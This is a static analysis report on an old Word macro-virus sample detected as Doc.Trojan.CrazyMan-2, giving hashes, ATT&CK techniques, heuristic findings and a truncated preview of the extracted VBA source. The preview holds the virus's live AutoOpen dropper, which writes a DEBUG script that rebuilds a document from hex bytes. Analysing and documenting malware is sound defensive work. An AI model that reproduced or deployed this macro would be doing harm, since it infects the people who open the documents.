Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 85dc711c16626d5f…

MALICIOUS

Office (OLE)

180.0 KB Created: 1999-05-21 14:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1a1821980aa71e2c75e7840bdac0a2c9 SHA-1: f64005f03983745e98f8966353165baaab9781bf SHA-256: 85dc711c16626d5f741ab19c8db1b591c6390ed35c1f0d3581ce2b86b9fabacd
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The AutoOpen macro in the VBA script is designed to write a file named 'c:\windows.scr' and 'c:\windows.doc' to disk. The ClamAV detection 'Doc.Trojan.CrazyMan-2' and the presence of a Shell() call within the AutoOpen macro strongly indicate malicious intent, likely to execute a downloaded payload.

Heuristics 6

  • ClamAV: Doc.Trojan.CrazyMan-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CrazyMan-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 111439 bytes
SHA-256: 5c0e8cadfaddd486689272d2cd4459e064b7f9799f0eae23dfe5143cb7825c38
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
'CrazyManiak (c) by Duke/SMF
On Error GoTo Maniak
Open "c:\windows.scr" For Output As #1
Print #1, ""
Print #1, "n c:\windows.doc"
Print #1, "e 0100 d0 cf 11 e0 a1 b1 1a e1 00 00 00 00 00 00 00 00 "
Print #1, "e 0110 00 00 00 00 00 00 00 00 3e 00 03 00 fe ff 09 00 "
Print #1, "e 0120 06 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 "
Print #1, "e 0130 21 00 00 00 00 00 00 00 00 10 00 00 23 00 00 00 "
Print #1, "e 0140 01 00 00 00 fe ff ff ff 00 00 00 00 20 00 00 00 "
Print #1, "e 0150 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0160 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0170 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0180 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0190 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 01a0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 01b0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 01c0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 01d0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 01e0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 01f0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0200 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0210 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0220 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0230 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0240 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0250 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0260 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0270 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0280 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0290 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 02a0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 02b0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 02c0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 02d0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 02e0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 02f0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff "
Print #1, "e 0300 ec a5 c1 00 59 00 19 04 00 00 00 12 bf 00 00 00 "
Print #1, "e 0310 00 00 00 10 00 00 00 00 00 04 00 00 01 04 00 00 "
Print #1, "e 0320 0e 00 62 6a 62 6a f3 57 f3 57 00 00 00 00 00 00 "
Print #1, "e 0330 00 00 00 00 00 00 00 00 00 00 00 00 19 04 16 00 "
Print #1, "e 0340 1e 0c 00 00 91 3d 01 00 91 3d 01 00 01 00 00 00 "
Print #1, "e 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 "
Print #1, "e 0360 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 "
Print #1, "e 0370 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 "
Print #1, "e 0380 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 "
Print #1, "e 0390 00 00 00 00 00 00 00 00 5d 00 00 00 00 00 92 00 "
Print #1, "e 03a0 00 00 00 00 00 00 92 00 00 00 92 00 00 00 00 00 "
Print #1, "e 03b0 00 00 92 00 00 00 00 00 00 00 92 00 00 00 00 00 "
Print #1, "e 03c0 00 00 92 00 00 00 00 00 00 00 92 00 00 00 14 00 "
Print #1, "e 03d0 00 00 00 00 00 00 00 00 00 00 c2 00 00 00 00 00 "
Print #1, "e 03e0 00 00 c2 00 00 00 00 00 00 00 c2 00 00 00 00 00 "
Print #1, "e 03f0 00 00 c2 00 00 00 00 00 00 00 c2 00 00 00 0c 00 "
Print #1, "e 0400 00 00 ce 00 00 00 0c 00 00 00 c2 00 00 00 00 00 "
Print #1, "e 0410 00 00 1e 02 00 00 b6 00 00 00 e6 00 00 00 00 00 "
Print #1, "e 0420 00 00 e6 00 00 00 00 00 00 00 e6 00 00 00 00 00 "
Print #1, "e 0430 00 00 e6 00 00 00 00 00 00 00 e6 00 00 00 00 00 "
Print #1, "e 0440 00 00 e6 00 00 00 00 00 00 00 e6 00 00 00 00 00 "
Print #1, "e 0450 00 00 e6 00 00 00 00 0
... (truncated)